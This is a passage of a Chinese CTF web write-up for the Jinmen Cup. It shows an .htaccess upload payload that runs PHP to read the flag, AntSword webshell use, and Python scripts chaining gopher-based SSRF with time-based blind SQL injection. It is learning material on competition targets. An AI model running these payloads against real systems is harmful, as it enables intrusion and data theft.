[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第49张图片

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第50张图片

网址为:URL+/upload/06ce7af6d0fb28b0f56bbd6003a36785/.htaccess

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第51张图片

(4) 最后通过file_get_contents("/flag")函数读取flag内容并返回,构造的payload是重点。

  • http://122.112.248.222:20003/upload/06ce7af6d0fb28b0f56bbd6003a36785/
  • .htaccess?eastmount=var_dump(file_get_contents("/flag"));

输出结果如下图所示,可以看到flag值。其“eastmount”是我构造.htaccess文件中的代码。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第52张图片

ForceType application/x-httpd-php 
SetHandler application/x-httpd-php 
Require all granted 
php_flag engine on 
php_value auto_prepend_fi\ le .htaccess 
#string(39) "flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}

其他读取文件内容的常用方法如下(该题好像不行)。

  • ?hello=get_file_contents(‘flag.php’)
  • ?hello=file(‘flag.php’)

最后给出文件上传漏洞的思维导图,可以看看作者之前的6篇文章总结。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第53张图片


2.中国蚁剑扩展

下面通过蚁剑简单测试文件上传漏洞的后续工作,并尝试找到flag的文件。虽然遗憾作者未找到,但这些方法也提供给初学者学习,大家也可以自行尝试或告诉我好的方法。

第一步,用上传的.htaccess文件建立链接。

  • http://x.x.x.x/upload/06ce7af6d0fb28b0f56bbd6003a36785/.htaccess
  • eastmount

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第54张图片

连接成功如下图所示,注意如果上传php或一句话图片是不能反弹shell,因为关闭了php解析。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第55张图片

第二步,连接成功后,查看文件目录列表,打开终端如下图所示。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第56张图片

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第57张图片

我们的想法是获取根目录或var目录下,查看是否存在flag.php或flag.txt相关的文件,但并未找到(不知道蚁剑如何搜索)。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第58张图片

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第59张图片

第三步,调用相关插件进行深入渗透测试。可以看到PHP版本是5.5,操作系统是Linux,但仍无法运行相关的函数绕过。怀疑是.htaccess文件,而这里需要php文件才行。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第60张图片

第四步,远程shell连接成功后,我们开可以打开终端进行相关操作。如下图所示,很遗憾提示“ret=127”,应该是屏蔽了相关功能。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第61张图片

第五步,我们在该题目提供的config.php文件中发现了数据库的配置信息。接着我想flag是否藏在数据库表中。

config.php文件如下:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第62张图片

在数据库中添加信息的root用户和密码。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第63张图片

可以看到对应的数据库名称为“shuyu”,存在一个表格“img”,对应两个字段id和filename。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第64张图片

查看表格信息如下:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第65张图片

这里简单通过sql语句查询flag相关的值,发现了相关的文件,但不知道怎么在中国蚁剑中查找。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第66张图片

写到这里,这个题目基本结束了,遗憾仍然未找到该flag文件。还是自己太弱了,需要学习的知识太多,希望读者告诉我后续方法。同时,由于我接下来投入到学术论文中,技术分享就少了,后面博士毕业会花时间把BUUCTF做个遍,加油!


3.其他错误尝试

其他方法错误尝试如下图所示,比如查找敏感文件。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第67张图片

也可以BurpSuite拦截请求修改文件上传后缀,这是常用的方法。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第68张图片

上传一句话木马(mm.jpg、mm.php等)但中国蚁剑和冰蝎均无法连接。

  • http://122.112.248.222:20003/index.php?id=1420

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第69张图片

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第70张图片

  • http://x.x.x.x/upload/9845bc38896ccbba0ceaea4f3c08a78d/ma.php

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第71张图片

下面是连接失败的某些页面。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第72张图片


第五题 easysql

题目描述如下:

  • http://122.112.251.23:20001/
  • http://121.36.147.29:20001/

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第73张图片

该网站打开如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第74张图片

对应源码如下所示:


highlight_file(__FILE__);
    session_start();
    $url = $_GET['url'] ?? false;
    if($url)
    {
     
    $a = preg_match("/file|dict/i", $url);
        if ($a==1)
        {
     
            exit();
        }
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_exec($ch);
            curl_close($ch);
     }
?> 

1.正确结题思路

这个题目真的挺难的,需要利用SSRF+SQL注入实现,这里我就给出几种大佬的解题方法。后面第2部分和第3部分再给我的思考及尝试,我能做到SSRF和SQL注入尝试,但不会将两者融合。

(1) Chamd5安全团队WP
SSRF之后post时间盲注。

  • https://mp.weixin.qq.com/s/7uMUoMkQyJGetdlgdvy0CQ

第一段代码是SQL盲注获取表名称,关于SSRF第2部分会详细介绍。

#津⻔杯-WriteUp Chamd5安全团队
import requests
import string
from urllib import parse
import time
import string

charset = "," + string.ascii_lowercase + string.digits + string.ascii_uppercase
charset = ",@" + string.ascii_letters
print(charset)
#,@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

def send(post):
    post_len = len(post)
    post = parse.quote(post)
    exp = f"gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AConnection%3A%20close%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%20{post_len}%0D%0A%0D%0A{post}"
    exp = exp.replace("%", "%25")
    url = f"http://121.36.147.29:20001/?url={exp}"
    start_time  = time.time()
    try:
        r = requests.get(url, timeout=0.3)
    except requests.exceptions.ReadTimeout:
        return 0.3
    stop_time  = time.time()
    return stop_time - start_time

result = ""
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
for i in range(1,50):
    for c in charset:
        post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
        print(post)
        t = send(post)
        if t >= 0.3:
            result += c
            print(result)
            break

输出表名如下:

  • emails,flag,referers,uagents,users
    [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第75张图片

第二段代码是SQL盲注flag列的具体值,核心代码如下:

  • flag{VqvjbS1O8A1gVWa2aPF44ruiELruVDP1}
result = ""
#sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#sql = "select group_concat(column_name) from information_schema.columns where table_name='flag';"
sql = "select group_concat(flag) from flag"
for i in range(1,50):
    for c in charset:
        post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
        t = send(post)
        if t >= 0.3:
            result += c
            print(result)
            break

(2) 某不知道名字的大神解题思路
已经爆破出数据库表名,通过select flag from flag查询值的payload。

import urllib.parse
import requests
import time

url="http://121.36.147.29:20001/index.php?url="
result = ""
for pos in range(1,10):
    for i in range(1,127):
        poc = "poc=1) and if((ascii(substr((select flag from flag),"+str(pos)+",1))='"+str(i)+"'),sleep(3),0) -- "
        length = len(poc)
        data = urllib.parse.quote(poc)
        data = urllib.parse.quote(data)
        final_poc = "gopher://127.0.0.1:80/_POST%20%2fadmin.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%20"+str(length)+"%250d%250a%250d%250a"+str(data)
        t1 = time.time()
        res = requests.get(url + final_poc)
        t2 = time.time()

        if(t2-t1>3):
            result += chr(i)
            print(result)
            break

输出结果如下图所示:

在这里插入图片描述

(3) HA1CgON大神解题思路
SSRF本地admin.php,gopher post注入实现。


$payload = "poc=" . $argv[1];
//$payload = "poc=if((select ascii(substr(database(),1,1)))=115,sleep(0.4),1)";
$test = "POST /admin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
cache-control: no-cache
Postman-Token: 375ba985-8106-4d79-bafd-dff6654589b8
User-Agent: PostmanRuntime/7.6.0
Accept: */*
Host: 127.0.0.1
Content-Length: " . strlen($payload) . "
Connection: close

" . $payload . "

";
echo urlencode(("gopher://127.0.0.1:80/_" . rawurlencode($test)));

Python代码如下:

import requests
import time
import urllib
import os

url = 'http://121.36.147.29:20001/?url='

s=requests.Session()

x=""
payload = ''
for Len in range(1,50):
    max = 127
    min = 34
    while max >= min:
        mid = (max + min) // 2
        payload = 'if((select ascii(substr((select flag from flag),1,{})))>{},sleep(0.2),1)'.format(Len,mid)
        print(payload)
        tmp_r = os.popen('php /Users/ha1c9on/Web/HISTORY/gopher.php "'+payload+'"').read()

        before_time = time.time()

        tmp_url = url+tmp_r
        print(tmp_url)
        r = requests.get(tmp_url)
        after_time = time.time()
        offset = after_time-before_time
        if (offset>2):
            min = mid + 1
        else:
            max = mid
        if max == mid == min:
            x += chr(mid)
            print("success:{} length:{}".format(x, len(x)))
            break

2.SSRF错误尝试

下面介绍作者做这个题目的各种尝试,这些知识希望对您SSRF漏洞的理解有帮助。

第一步,源代码审计。

$url = $_GET['url'] ?? false; 
c=a??b;
1.表示如果a非空则c=a
2.如果a为空则c=b
该表达式要求url非空

$a = preg_match("/file|dict/i", $url);
执行匹配正则表达式
1.如果存在file|dict/i直接退出
2.否则执行后续语句

$ch = curl_init();
初始化一个cURL会话及操作
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch); 

同时本地搭建相关代码进行代码审计测试。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第76张图片

第二步,简单扫描发现admin.php敏感目录且为302重定向,怀疑SSRF 302重定向漏洞。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第77张图片

第三步,进行简单的重定向尝试,发现成功后进行各种尝试。

  • index.php?url=http://www.baidu.com
  • index.php?url=dict://127.0.0.1/info
  • index.php?url=file:///etc/passwd
  • index.php?url=…/…/…/…/…/etc/passwd
  • index.php?url=file:///var/www/html/admin.php
  • index.php?url=http://127.0.0.1.sslip.io/admin.php

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第78张图片

其他题目有成功的,但本题难度更大。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第79张图片

第四步,尝试本地PHP服务器进行SSRF漏洞利用,提示没有资源。

  • index.php?url=http://127.0.0.1/XCTF/test.php

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第80张图片

第五步,利用本地连接进行重定向查询尝试。

  • index.php?url=http://121.36.147.29:20001/admin.php

提示需要poc请求,说明存在admin.php文件,但是需要提权或其他方法。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第81张图片

第六步,利用gopher协议通过302+本地php跳转并post key到flag.php,但提示。

  • ?url=gopher://121.36.147.29:20001/_POST%252520/admin.php%252520HTTP/1.1

gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议),可用于反弹shell.

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第82张图片

第七步,此时意识到需要通过请求特征来构造gopher重定向Payload,再结合SQL注入实现(题目easysql),但确实没做出来。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第83张图片

期间也尝试curl方法。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第84张图片

也看到其他题目成功的例子。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第85张图片


3.SQL注入错误尝试

SQL注入直接Sqlmap会失败,需要盲注实现,前面已经介绍过。但难点是与SSRF结合的时间盲注。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第86张图片


总结

写到这里,这篇文章就介绍结束了,希望对您有所帮助,下面简单总结每题知识点。

  • 第一题 power_cut
    dirsearch扫描网站+备份文件+反序列化漏洞
  • 第二题 hate_php
    代码审计+绕过数字和字母+下划线+美元符
  • 第三题 Go0SS
    GO代码审计+利用302重定向+本地服务器实现SSRF+绕过…和//
  • 第四题 HploadHub
    文件上传漏洞+Apache2.conf配置文件+.htaccess+PHP获取flag方法+蚁剑用法总结
  • 第五题 easysql
    SSRF+SQL盲注+本地绕过

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,由于在外读博,目前暂停技术更新,但这篇确实应该总结下,希望您能与我一起操作和进步。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔。同时再次感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第87张图片

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

(By:Eastmount 2021-05-12 夜于武汉 http://blog.csdn.net/eastmount/ )


参考文章如下,感谢这些大佬。
[1] 津门杯 – WEB-Write-Up HA1C9ON
[2] 津⻔杯-WriteUp Chamd5安全团队
[3] NU1L大佬团队和官方WP
[4] CTF | Web安全 Part1:基础知识 - Ackeray
[5] CTF中PHP常见漏洞及利用(未完待续)
[6] CTFHub Bypass disable_function系列(已完结)
[7] SSRF 漏洞分析与利用(含 CTF 例题)
[8] linux curl get请求_CTF自学笔记(四)
[9] CTFHUB技能树-SSRF【POST请求】


自学篇(建议直接跳转到正文):

  • [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
  • [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
  • [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
  • [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
  • [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
  • [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
  • [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
  • [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
  • [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
  • [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
  • [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
  • [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
  • [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
  • [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
  • [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
  • [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
  • [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
  • [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
  • [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
  • [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
  • [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
  • [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
  • [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
  • [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
  • [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
  • [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
  • [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
  • [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
  • [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
  • [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
  • [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
  • [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
  • [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
  • [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
  • [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
  • [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
  • [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
  • [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
  • [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
  • [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
  • [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
  • [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
  • [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
  • [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
  • [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
  • [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
  • [网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
  • [网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及常用DOS命令
  • [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
  • [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
  • [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
  • [网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
  • [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
  • [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
  • [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
  • [网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
  • [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
  • [网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
  • [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
  • [网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
  • [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
  • [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
  • [网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
  • [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
  • [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
  • [网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
  • [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
  • [网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
  • [网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
  • [网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
  • [网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
  • [网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
  • [网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
  • [网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
  • [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
  • [网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
  • [网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
  • [网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
  • [网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
  • [网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
  • [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
  • [网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP(文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析)
  • [网络安全自学篇] 八十三.WHUCTF之CSS注入、越权、csrf-token窃取及XSS总结
  • [网络安全自学篇] 八十四.《Windows hk编程技术详解》之VS环境配置、基础知识及DLL延迟加载详解
  • [网络安全自学篇] 八十五.《Windows hk编程技术详解》之注入技术详解(全局钩子、远线程钩子、突破Session 0注入、APC注入)
  • [网络安全自学篇] 八十六.威胁情报分析之Python抓取FreeBuf网站APT文章(上)
  • [网络安全自学篇] 八十七.恶意代码检测技术详解及总结
  • [网络安全自学篇] 八十八.基于机器学习的恶意代码检测技术详解
  • [网络安全自学篇] 八十九.PE文件解析之通过Python获取时间戳判断软件来源地区
  • [网络安全自学篇] 九十.远控木马详解及APT攻击中的远控
  • [网络安全自学篇] 九十一.阿里云搭建LNMP环境及实现PHP自定义网站IP访问 (1)
  • [网络安全自学篇] 九十二.《Windows hk编程技术详解》之病毒启动技术创建进程API、突破SESSION0隔离、内存加载详解(3)
  • [网络安全自学篇] 九十三.《Windows hk编程技术详解》之木马开机自启动技术(注册表、计划任务、系统服务)
  • [网络安全自学篇] 九十四.《Windows hk编程技术详解》之提权技术(令牌权限提升和Bypass UAC)
  • [网络安全自学篇] 九十五.利用XAMPP任意命令执行漏洞提升权限(CVE-2020-11107)

你可能感兴趣的:(网络安全自学篇,网络安全,CTF,津门杯,SQL注入,SSRF)